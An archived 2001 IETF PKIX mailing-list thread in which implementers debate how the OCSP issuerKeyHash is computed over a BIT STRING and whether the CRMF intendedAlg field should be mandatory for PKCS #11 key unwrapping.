AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAOHAAAAAAAAAwcAAAAAAAAAAAAABMcAAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
OHAAAAAAAAARAUdldE1vZHVsZUhhbmRsZUEAAEtFUk5FTDMyLmRsbAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAA=

----VE0PYFGPUJOD2JCL6JC9AZGDIBC123ST6VSH--



Received: from mail.ec.auckland.ac.nz (mail.student.auckland.ac.nz [130.216.35.201]) by above.proper.com (8.9.3/8.9.3) with ESMTP id PAA04705 for <[e-mail]>; Mon, 12 Mar 2001 15:05:31 -0800 (PST)
Received: from kahu.cs.auckland.ac.nz ([e-mail] [130.216.36.13]) by mail.ec.auckland.ac.nz (8.9.3/8.8.6/cs-master) with SMTP id LAA09782; Tue, 13 Mar 2001 11:57:31 +1300 (NZDT) (sender [e-mail])
Received: by kahu.cs.auckland.ac.nz (relaymail v0.9) id <98443785125462>; Tue, 13 Mar 2001 11:57:31 (NZDT)
From: [e-mail] (Peter Gutmann)
To: [e-mail], [e-mail], [e-mail]
Subject: RE: Computation of issuerKeyHash in OCSP
Sender: [e-mail]
Reply-To: [e-mail]
X-Charge-To: pgut001
X-Authenticated: relaymail v0.9 on kahu.cs.auckland.ac.nz
Date: Tue, 13 Mar 2001 11:57:31 (NZDT)
Message-ID: <[e-mail]>

Ambarish Malpani <[e-mail]> writes:

>I have done interop testing of the OCSP responder with Netscape, CertCo, Xeti
>(now part of Critical Path), Computer Associates and a bunch of other folks. I
>would be very surprised if anybody was stripping out the byte that represented
>the number of unused bits.

That would explain why my previously-working code was getting a status of
"unknown" all of a sudden... dammit, make one little update to your code
without thinking and... :-).

Peter.



Received: from ext-mail.valicert.com (ns1.valicert.com [63.65.221.10]) by above.proper.com (8.9.3/8.9.3) with ESMTP id OAA03125 for <[e-mail]>; Mon, 12 Mar 2001 14:21:38 -0800 (PST)
Received: from CONVERSION-DAEMON by ext-mail.valicert.com (PMDF V5.2-33 #46613) id <[e-mail]> for [e-mail]; Mon, 12 Mar 2001 14:21:40 -0800 (PST)
Received: from polaris.valicert.com ([192.168.2.34]) by ext-mail.valicert.com (PMDF V5.2-33 #46613) with ESMTP id <[e-mail]>; Mon, 12 Mar 2001 14:21:40 -0800 (PST)
Received: by exchange.valicert.com with Internet Mail Service (5.5.2650.21) id <GD3GKY6P>; Mon, 12 Mar 2001 14:15:25 -0800
Content-return: allowed
Date: Mon, 12 Mar 2001 14:15:21 -0800
From: Ambarish Malpani <[e-mail]>
Subject: RE: Computation of issuerKeyHash in OCSP
To: "'[e-mail]'" <[e-mail]>, [e-mail]
Message-id: <[e-mail]>
MIME-version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-type: text/plain;	charset="iso-8859-1"

Hi Jonathan,
    I have done interop testing of the OCSP responder with
Netscape, CertCo, Xeti (now part of Critical Path), Computer
Associates and a bunch of other folks. I would be very surprised
if anybody was stripping out the byte that represented the
number of unused bits.

With regards to the OCSPv2 identifiers, I still haven't seen or
heard of any implementations....

Hope this helps,
Regards,
Ambarish

---------------------------------------------------------------------
Ambarish Malpani
Architect                                                650.567.5457
ValiCert, Inc.                                  [e-mail]
339 N. Bernardo Ave.                          http://www.valicert.com
Mountain View, CA 94043


> -----Original Message-----
> From: [e-mail] 
> [mailto:[e-mail]]
> Sent: Monday, March 12, 2001 10:59 AM
> To: [e-mail]
> Subject: RE: Computation of issuerKeyHash in OCSP
> 
> 
> 
> All,
> 
> From Ambarish we have:
> 
> Yes, it is the hash of the entire BIT STRING, including the 'number of
> unused bits' octet (but excluding the tag for BIT STRING and length).
> 
> And from Peter we have:
> 
> The weird hashing is a perpetual source of trouble for implementors (I
> eventually found it out by trial and error), what you need to 
> do is take
> the BIT STRING part of the subjectPublicKeyInfo, strip off 
> the BIT STRING
> tag and the length and the unused-bits value, and hash what's left.
> 
> It's seems that different views on my original question have 
> been taken by
> different people.  I understand that the revised specs iron 
> all this out,
> but in the meantime, what do people actually do in practice?
> 
> Jonathan Tuliani
> www.Symbian.com
> 
> 
> 
> **********************************************************************
> Symbian Ltd is a company registered in England and Wales with 
> registered number 01796587 and registered office at 19 
> Harcourt Street, London, W1H 4HF, UK.
> This message is intended only for use by the named addressee 
> and may contain privileged and/or confidential information. 
> If you are not the named addressee you should not 
> disseminate, copy or take any action in reliance on it. If 
> you have received this message in error please notify 
> [e-mail] and delete the message and any 
> attachments accompanying it immediately. Symbian does not 
> accept liability for any corruption, interception, amendment, 
> tampering or viruses occuring to this message in transit or 
> for any message sent by its employees which is not in 
> compliance with Symbian corporate policy.
> **********************************************************************
> 


Received: from mail.ec.auckland.ac.nz (mail.student.auckland.ac.nz [130.216.35.201]) by above.proper.com (8.9.3/8.9.3) with ESMTP id OAA02477 for <[e-mail]>; Mon, 12 Mar 2001 14:13:07 -0800 (PST)
Received: from kahu.cs.auckland.ac.nz ([e-mail] [130.216.36.13]) by mail.ec.auckland.ac.nz (8.9.3/8.8.6/cs-master) with SMTP id LAA30111; Tue, 13 Mar 2001 11:10:12 +1300 (NZDT) (sender [e-mail])
Received: by kahu.cs.auckland.ac.nz (relaymail v0.9) id <98443501224972>; Tue, 13 Mar 2001 11:10:12 (NZDT)
From: [e-mail] (Peter Gutmann)
To: [e-mail], [e-mail], [e-mail]
Subject: RE: Computation of issuerKeyHash in OCSP
Cc: [e-mail]
Sender: [e-mail]
Reply-To: [e-mail]
X-Charge-To: pgut001
X-Authenticated: relaymail v0.9 on kahu.cs.auckland.ac.nz
Date: Tue, 13 Mar 2001 11:10:12 (NZDT)
Message-ID: <[e-mail]>

"Michael Myers" <[e-mail]> writes:

>So only in the case of CertID is issuerKeyHash calculation required.  The
>issuerSerial options imports IssuerandSerialNumber syntax from CMS.  Do these
>actions address the points you raised?

Absolutely, that's why in my original reply I expressed the hope that people
would move to v2 ID's with all haste.

Peter.



Received: from geos.coastside.net (geos.coastside.net [207.213.212.4]) by above.proper.com (8.9.3/8.9.3) with ESMTP id OAA01884 for <[e-mail]>; Mon, 12 Mar 2001 14:05:26 -0800 (PST)
Received: from heatherdale (dsl-63-194-153-52.coastside.net [63.194.153.52]) by geos.coastside.net (8.11.0/8.11.1) with SMTP id f2CM1qv25606; Mon, 12 Mar 2001 14:01:52 -0800 (PST)
From: "Michael Myers" <[e-mail]>
To: <[e-mail]>, <[e-mail]>
Cc: <[e-mail]>
Subject: RE: Computation of issuerKeyHash in OCSP
Date: Mon, 12 Mar 2001 14:07:53 -0800
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
In-reply-to: <[e-mail]>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300

Peter,

The OCSPv2 I-D expands certificate identification as follows:

ReqCert  ::= CHOICE {
   certID            CertID,
   issuerSerial      [0] IssuerandSerialNumber,
   pKCert            [1] Certificate,
   name              [2] GeneralName,
   certHash          [3] OCTET STRING}

CertID          ::=     SEQUENCE {
   hashAlgorithm       AlgorithmIdentifier,
   issuerNameHash      OCTET STRING, -- Hash of Issuer's DN
   issuerKeyHash       OCTET STRING, -- Hash of Issuers public key
   serialNumber        CertificateSerialNumber }

So only in the case of CertID is issuerKeyHash calculation required.  The
issuerSerial options imports IssuerandSerialNumber syntax from CMS.  Do
these actions address the points you raised?

Mike

> -----Original Message-----
> From: [e-mail] [mailto:[e-mail]]
> Sent: Tuesday, March 13, 2001 4:50 AM
> To: [e-mail]
> Cc: [e-mail]
> Subject: Re: Computation of issuerKeyHash in OCSP
>
>
> >I'd be grateful for clarification of the following point, regarding the
> >computation of the issuerKeyHash term in the CertID information
> used in OCSP
> >(v1).
>
> The weird hashing is a perpetual source of trouble for implementors (I
> eventually found it out by trial and error), what you need to do
> is take the
> BIT STRING part of the subjectPublicKeyInfo, strip off the BIT
> STRING tag and
> the length and the unused-bits value, and hash what's left.  A much easier
> solution (and one I hope everyone adopts with all haste) is to
> use v2 ID's such
> as the standard issuerAndSerialNumber or a cert hash (aka
> thumbprint) which
> most software seems to be able to handle.
>
> Peter.
>
>



Received: from smtp02.symbian.com ([194.200.144.248]) by above.proper.com (8.9.3/8.9.3) with ESMTP id NAA00778 for <[e-mail]>; Mon, 12 Mar 2001 13:42:09 -0800 (PST)
From: [e-mail]
Received: from SymbianUK05.Symbian.com (unverified) by smtp02.symbian.com (Content Technologies SMTPRS 4.1.2) with ESMTP id <[e-mail]> for <[e-mail]>; Mon, 12 Mar 2001 21:38:44 +0000
Subject: RE: Computation of issuerKeyHash in OCSP
To: [e-mail]
Cc: 
X-Mailer: Lotus Notes Release 5.0.4a  July 24, 2000
Message-ID: <[e-mail]>
Date: Mon, 12 Mar 2001 18:58:53 +0000
X-Priority: 3 (Normal)
X-MIMETrack: Serialize by Router on SymbianUK05/Symbian(Release 5.0.1b (Intl)|30 September 1999) at 12/03/2001 09:39:21 PM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii

All,

>From Ambarish we have:

Yes, it is the hash of the entire BIT STRING, including the 'number of
unused bits' octet (but excluding the tag for BIT STRING and length).

And from Peter we have:

The weird hashing is a perpetual source of trouble for implementors (I
eventually found it out by trial and error), what you need to do is take
the BIT STRING part of the subjectPublicKeyInfo, strip off the BIT STRING
tag and the length and the unused-bits value, and hash what's left.

It's seems that different views on my original question have been taken by
different people.  I understand that the revised specs iron all this out,
but in the meantime, what do people actually do in practice?

Jonathan Tuliani
www.Symbian.com



**********************************************************************
Symbian Ltd is a company registered in England and Wales with registered number 01796587 and registered office at 19 Harcourt Street, London, W1H 4HF, UK.
This message is intended only for use by the named addressee and may contain privileged and/or confidential information. If you are not the named addressee you should not disseminate, copy or take any action in reliance on it. If you have received this message in error please notify [e-mail] and delete the message and any attachments accompanying it immediately. Symbian does not accept liability for any corruption, interception, amendment, tampering or viruses occuring to this message in transit or for any message sent by its employees which is not in compliance with Symbian corporate policy.
**********************************************************************


Received: from mail.ec.auckland.ac.nz (mail.student.auckland.ac.nz [130.216.35.201]) by above.proper.com (8.9.3/8.9.3) with ESMTP id HAA22216 for <[e-mail]>; Mon, 12 Mar 2001 07:59:48 -0800 (PST)
Received: from kahu.cs.auckland.ac.nz ([e-mail] [130.216.36.13]) by mail.ec.auckland.ac.nz (8.9.3/8.8.6/cs-master) with SMTP id EAA01462; Tue, 13 Mar 2001 04:50:03 +1300 (NZDT) (sender [e-mail])
Received: by kahu.cs.auckland.ac.nz (relaymail v0.9) id <98441220323605>; Tue, 13 Mar 2001 04:50:03 (NZDT)
From: [e-mail] (Peter Gutmann)
To: [e-mail]
Subject: Re:  Computation of issuerKeyHash in OCSP
Cc: [e-mail]
Sender: [e-mail]
Reply-To: [e-mail]
X-Charge-To: pgut001
X-Authenticated: relaymail v0.9 on kahu.cs.auckland.ac.nz
Date: Tue, 13 Mar 2001 04:50:03 (NZDT)
Message-ID: <[e-mail]>

>I'd be grateful for clarification of the following point, regarding the
>computation of the issuerKeyHash term in the CertID information used in OCSP
>(v1).

The weird hashing is a perpetual source of trouble for implementors (I
eventually found it out by trial and error), what you need to do is take the
BIT STRING part of the subjectPublicKeyInfo, strip off the BIT STRING tag and
the length and the unused-bits value, and hash what's left.  A much easier
solution (and one I hope everyone adopts with all haste) is to use v2 ID's such
as the standard issuerAndSerialNumber or a cert hash (aka thumbprint) which
most software seems to be able to handle.

Peter.



Received: from ext-mail.valicert.com (ns1.valicert.com [63.65.221.10]) by above.proper.com (8.9.3/8.9.3) with ESMTP id HAA20538 for <[e-mail]>; Mon, 12 Mar 2001 07:39:52 -0800 (PST)
Received: from CONVERSION-DAEMON by ext-mail.valicert.com (PMDF V5.2-33 #46613) id <[e-mail]> for [e-mail]; Mon, 12 Mar 2001 07:39:49 -0800 (PST)
Received: from polaris.valicert.com ([192.168.2.34]) by ext-mail.valicert.com (PMDF V5.2-33 #46613) with ESMTP id <[e-mail]>; Mon, 12 Mar 2001 07:39:48 -0800 (PST)
Received: by exchange.valicert.com with Internet Mail Service (5.5.2650.21) id <GD3GKWSF>; Mon, 12 Mar 2001 07:33:34 -0800
Content-return: allowed
Date: Mon, 12 Mar 2001 07:33:32 -0800
From: Ambarish Malpani <[e-mail]>
Subject: RE: Computation of issuerKeyHash in OCSP
To: "'[e-mail]'" <[e-mail]>, [e-mail]
Message-id: <[e-mail]>
MIME-version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-type: text/plain;	charset="iso-8859-1"

Hi Jonathan,
    Yes, it is the hash of the entire BIT STRING, including the
'number of unused bits' octet (but excluding the tag for BIT STRING
and length).

This has been clarified in the draft of what will go forward as
a candidate for Draft Standard.

Regards,
Ambarish

---------------------------------------------------------------------
Ambarish Malpani
Architect                                                650.567.5457
ValiCert, Inc.                                  [e-mail]
339 N. Bernardo Ave.                          http://www.valicert.com
Mountain View, CA 94043


> -----Original Message-----
> From: [e-mail] 
> [mailto:[e-mail]]
> Sent: Monday, March 12, 2001 2:55 AM
> To: [e-mail]
> Subject: Computation of issuerKeyHash in OCSP
> 
> 
> All,
> 
> I'd be grateful for clarification of the following point, 
> regarding the
> computation of the issuerKeyHash term in the CertID 
> information used in
> OCSP (v1).
> 
> The OCSP spec states:
> 
> 'issuerKeyHash is the hash of the Issuer's public key. The 
> hash shall be
> calculated over the value (excluding tag and length) of the 
> subject public
> key field in the issuer's certificate.'
> 
> Note that subjectPublicKey is defined as having ASN1 type BIT 
> STRING.  Can
> someone specify whether the *entire* 'value' part of this encoded bit
> string should be used, including the 'number of unused bits' octet, or
> whether the 'number of unused bits' octet should be excluded, 
> and only the
> remaining value octets should be used.
> 
> Many thanks in advance,
> 
> Jonathan Tuliani
> www.Symbian.com
> 
> 
> 
> **********************************************************************
> Symbian Ltd is a company registered in England and Wales with 
> registered number 01796587 and registered office at 19 
> Harcourt Street, London, W1H 4HF, UK.
> This message is intended only for use by the named addressee 
> and may contain privileged and/or confidential information. 
> If you are not the named addressee you should not 
> disseminate, copy or take any action in reliance on it. If 
> you have received this message in error please notify 
> [e-mail] and delete the message and any 
> attachments accompanying it immediately. Symbian does not 
> accept liability for any corruption, interception, amendment, 
> tampering or viruses occuring to this message in transit or 
> for any message sent by its employees which is not in 
> compliance with Symbian corporate policy.
> **********************************************************************
> 


Received: from odin2.bull.net (odin2.bull.net [192.90.70.84]) by above.proper.com (8.9.3/8.9.3) with ESMTP id HAA19321 for <[e-mail]>; Mon, 12 Mar 2001 07:33:46 -0800 (PST)
Received: from lvt-mail.frlv.bull.fr (lvt-mail.frlv.bull.fr [129.184.62.223]) by odin2.bull.net (8.9.3/8.9.3) with ESMTP id QAA50936 for <[e-mail]>; Mon, 12 Mar 2001 16:41:49 +0100
Received: from bull.net (frlva3786.frlv.bull.fr [129.184.37.97]) by lvt-mail.frlv.bull.fr (8.9.2/8.9.1) with ESMTP id QAA18524 for <[e-mail]>; Mon, 12 Mar 2001 16:33:15 +0100
Message-ID: <[e-mail]>
Date: Mon, 12 Mar 2001 16:33:19 +0100
From: Denis Pinkas <[e-mail]>
Organization: Bull
X-Mailer: Mozilla 4.7 [fr] (Win98; I)
X-Accept-Language: fr
MIME-Version: 1.0
To: IETF-PXIX <[e-mail]>
Subject: Re: I-D ACTION:draft-ietf-pkix-new-part1-05.txt
References: <[e-mail]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Tim,

Would it be possible to get some indications about the differences between
version -04 and version -05 ?

... as well as the changes still to be discussed ?

Thanks,

Denis

> A New Internet-Draft is available from the on-line Internet-Drafts directories.
> This draft is a work item of the Public-Key Infrastructure (X.509) Working Group of the IETF.
> 
>         Title           : Internet X.509 Public Key Infrastructure Certificate
>                           and CRL Profile
>         Author(s)       : R. Housley, W. Ford, W. Polk, D. Solo
>         Filename        : draft-ietf-pkix-new-part1-05.txt
>         Pages           : 119
>         Date            : 08-Mar-01
> 
> This is the fourth draft of a specification based upon RFC 2459.
> When complete, this specification will obsolete RFC 2459.  This
> specification includes minor edits and clarifications.  The most
> notable departures from RFC 2459 are found in Section 6, Path
> Validation.  In RFC 2459, the reader was expected to augment the path
> validation algorithm, which concentrated upon policy processing, with
> information embedded in earlier sections.  For example, parameter
> inheritance is discussed in Section 7, Algorithm Support, and can
> certainly affect the validity of a certification path.
> 
> A URL for this Internet-Draft is:
> http://www.ietf.org/internet-drafts/draft-ietf-pkix-new-part1-05.txt
> 
> Internet-Drafts are also available by anonymous FTP. Login with the username
> "anonymous" and a password of your e-mail address. After logging in,
> type "cd internet-drafts" and then
>         "get draft-ietf-pkix-new-part1-05.txt".
> 
> A list of Internet-Drafts directories can be found in
> http://www.ietf.org/shadow.html
> or ftp://ftp.ietf.org/ietf/1shadow-sites.txt
> 
> Internet-Drafts can also be obtained by e-mail.
> 
> Send a message to:
>         [e-mail].
> In the body type:
>         "FILE /internet-drafts/draft-ietf-pkix-new-part1-05.txt".
> 
> NOTE:   The mail server at ietf.org can return the document in
>         MIME-encoded form by using the "mpack" utility.  To use this
>         feature, insert the command "ENCODING mime" before the "FILE"
>         command.  To decode the response(s), you will need "munpack" or
>         a MIME-compliant mail reader.  Different MIME-compliant mail readers
>         exhibit different behavior, especially when dealing with
>         "multipart" MIME messages (i.e. documents which have been split
>         up into multiple messages), so check your local documentation on
>         how to manipulate these messages.
> 
> 
> Below is the data which will enable a MIME compliant mail reader
> implementation to automatically retrieve the ASCII version of the
> Internet-Draft.
> 
>   ----------------------------------------------------------------------------
> Content-Type: text/plain
> Content-ID:     <[e-mail]>


Received: from sottmxs02.entrust.com (gatekeeper.entrust.com [204.101.128.170]) by above.proper.com (8.9.3/8.9.3) with ESMTP id GAA16057 for <[e-mail]>; Mon, 12 Mar 2001 06:59:24 -0800 (PST)
Received: by sottmxs02.entrust.com with Internet Mail Service (5.5.2650.21) id <GTV6F5AW>; Mon, 12 Mar 2001 09:58:51 -0500
Message-ID: <[e-mail]>
From: Carlisle Adams <[e-mail]>
To: "'[e-mail]'" <[e-mail]>
Cc: [e-mail], [e-mail], "'[e-mail]'" <[e-mail]>
Subject: RE: RFC 2511bis EncryptedValue OPTIONAL intendedAlg Field
Date: Mon, 12 Mar 2001 09:55:44 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C0AB04.837FBEE0"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0AB04.837FBEE0
Content-Type: text/plain;
	charset="iso-8859-1"

Hi Francois,

> ----------
> From:
> [e-mail][SMTP:[e-mail]]
> Sent: 	Monday, March 12, 2001 8:34 AM
> To: 	[e-mail]
> Cc: 	[e-mail]; [e-mail]
> Subject: 	RFC 2511bis EncryptedValue OPTIONAL intendedAlg Field
> 
> Hi Carlisle,
> 
> I know we exchanged few Emails on this particular issue in July last year,
> but it seems I overlooked the final question in your previous response
> below. 
> 
> Again I am not sure if I am missing something, but when thinking further
> about the wrapping and unwrapping of private keys, I have noted that the
> comment for the EncryptedValue under both Section 6.4 and Appendix C of
> RFC
> 2511bis still indicates that when the encValue field contains an encrypted
> PrivateKeyInfo, the intendedAlg field is unnecessary (since this
> information
> is included in PrivateKeyInfo) and MUST be omitted.  As indicated before,
> the information included in PrivateKeyInfo once through the PKCS #11
> C_WrapKey function is all encrypted.  This means that any information
> about
> the intended algorithm for the private key is no longer available until
> the
> PrivateKeyInfo is decrypted (i.e. unwrapped).
> 
> In response to your previous question, the C_UnwrapKey function from
> Section
> 11.14 of PKCS #11 does everything in one call and consequently all the
> necessary information it requires needs to be known at priori.  However,
> the
> problem in this case is that the C_UnwrapKey needs to know the template
> for
> the private key (i.e. the type of the private key) that will be unwrapped
> as
> part of its syntax.  The only source for this particular information would
> seem to be the EncryptedValue intendedAlg field since the PrivateKeyInfo
> privateKeyAlgorithm field is still encrypted.
> 
> Since the intendedAlg field MUST already be present when encValue contains
> some other format/encoding for the private key, I would suggest changing
> the
> intendedAlg field from OPTIONAL to mandatory for all cases or to indicate
> that it MUST also be present when the encValue field contains an encrypted
> PrivateKeyInfo.
> 
> Does this seem appropriate?
 
I have no problem with this as long as the implementors have no objections.
I can change the text to something like "The intendedAlg field MUST be
present unless this information is known a priori to both sender and
receiver by some other means."

Does this raise concerns for anyone?

Carlisle.

> Cheers,
> 
> Francois
> ___________________________________
> Francois Rousseau
> Director of Standards and Conformance
> Chrysalis-ITS
> One Chrysalis Way
> Ottawa, Ontario, CANADA, K2G 6P9
> [e-mail]    Tel. [phone] ext. 3419
> http://www.chrysalis-its.com   Fax. [phone] 
> 
> 
> -----Original Message-----
> From: Carlisle Adams [mailto:[e-mail]]
> Sent: Monday, July 17, 2000 14:54
> To: '[e-mail]'
> Cc: [e-mail]; [e-mail]
> Subject: RE: Re: CRMF encValue Field
> 
> 
> Hi Francois,
> 
> [snip]
> 
> > In addition, this same clarification indicates that in this case, the
> > intendedAlg field is unnecessary (since this information is included in
> > PrivateKeyInfo) and MUST be omitted. However, the algorithm identifier
> > field within the PrivateKeyInfo is encrypted, which means that the
> > "EncryptedValue" type would not contain any information in the clear
> about
> > the OID of the private key that it is carrying. Was this your intend,
> > please clarify? I also understand that including the intendedAlg field
> > would duplicate the occurrence of the parameters field, since the syntax
> > of the "AlgorithmIdentifier" type also contains a "parameters" field,
> > however by still indicating the algorithm OID, but forcing the
> > "parameters" field within the intendedAlg field to be NULL would allow
> the
> > "EncryptedValue" type to indicate what is the OID of the private key
> that
> > it is carrying, but not duplicate the parameters field. Wouldn't this
> > approach be better?
>  
> No, this approach doesn't strike me as particularly better.  It seems like
> a
> real kludge to include an AlgId for the same thing twice, but to specify
> (in
> commentary) that the parameters should be NULL for one of these and
> non-NULL
> (i.e., present) for the other.  This reduces clarity for the
> reader/implementer and may run in to trouble with some compilers that are
> expecting actual parameter values.
> 
> As for fact that the AlgId in PrivateKeyInfo is encrypted, why is this a
> concern?  Does the receiver need to know this prior to decryption?
> 
> Carlisle.
> 

------_=_NextPart_001_01C0AB04.837FBEE0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2652.35">
<TITLE>RE: RFC 2511bis EncryptedValue OPTIONAL intendedAlg =
Field</TITLE>
</HEAD>
<BODY>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New Roman">Hi =
Francois,</FONT>
</P>
<UL>
<P><FONT SIZE=3D2 FACE=3D"MS Sans Serif">----------</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">From:</FONT></B> &nbsp; =
<FONT SIZE=3D2 FACE=3D"MS Sans =
Serif">[e-mail][SMTP:[e-mail]]</FO=
NT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">Sent:</FONT></B> &nbsp; =
<FONT SIZE=3D2 FACE=3D"MS Sans Serif">Monday, March 12, 2001 8:34 =
AM</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">To:</FONT></B> =
&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2 FACE=3D"MS Sans =
Serif">[e-mail]</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">Cc:</FONT></B> =
&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2 FACE=3D"MS Sans =
Serif">[e-mail]; [e-mail]</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">Subject:</FONT></B> =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2 FACE=3D"MS Sans =
Serif">RFC 2511bis EncryptedValue OPTIONAL intendedAlg Field</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Hi Carlisle,</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">I know we exchanged few Emails on this =
particular issue in July last year,</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">but it seems I overlooked the final =
question in your previous response</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">below. </FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Again I am not sure if I am missing =
something, but when thinking further</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">about the wrapping and unwrapping of =
private keys, I have noted that the</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">comment for the EncryptedValue under =
both Section 6.4 and Appendix C of RFC</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">2511bis still indicates that when the =
encValue field contains an encrypted</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">PrivateKeyInfo, the intendedAlg field =
is unnecessary (since this information</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">is included in PrivateKeyInfo) and =
MUST be omitted.&nbsp; As indicated before,</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">the information included in =
PrivateKeyInfo once through the PKCS #11</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">C_WrapKey function is all =
encrypted.&nbsp; This means that any information about</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">the intended algorithm for the =
private key is no longer available until the</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">PrivateKeyInfo is decrypted (i.e. =
unwrapped).</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">In response to your previous question, =
the C_UnwrapKey function from Section</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">11.14 of PKCS #11 does everything in =
one call and consequently all the</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">necessary information it requires =
needs to be known at priori.&nbsp; However, the</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">problem in this case is that the =
C_UnwrapKey needs to know the template for</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">the private key (i.e. the type of the =
private key) that will be unwrapped as</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">part of its syntax.&nbsp; The only =
source for this particular information would</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">seem to be the EncryptedValue =
intendedAlg field since the PrivateKeyInfo</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">privateKeyAlgorithm field is still =
encrypted.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Since the intendedAlg field MUST =
already be present when encValue contains</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">some other format/encoding for the =
private key, I would suggest changing the</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">intendedAlg field from OPTIONAL to =
mandatory for all cases or to indicate</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">that it MUST also be present when the =
encValue field contains an encrypted</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">PrivateKeyInfo.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Does this seem appropriate?</FONT>
</UL>
<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New =
Roman">&nbsp;</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New Roman">I have no =
problem with this as long as the implementors have no objections.&nbsp; =
I can change the text to something like &quot;The intendedAlg field =
MUST be present unless this information is known a priori to both =
sender and receiver by some other means.&quot;</FONT></P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New Roman">Does this =
raise concerns for anyone?</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New =
Roman">Carlisle.</FONT>
</P>
<UL>
<P><FONT SIZE=3D2 FACE=3D"Arial">Cheers,</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Francois</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">___________________________________</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Francois Rousseau</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Director of Standards and =
Conformance</FONT>
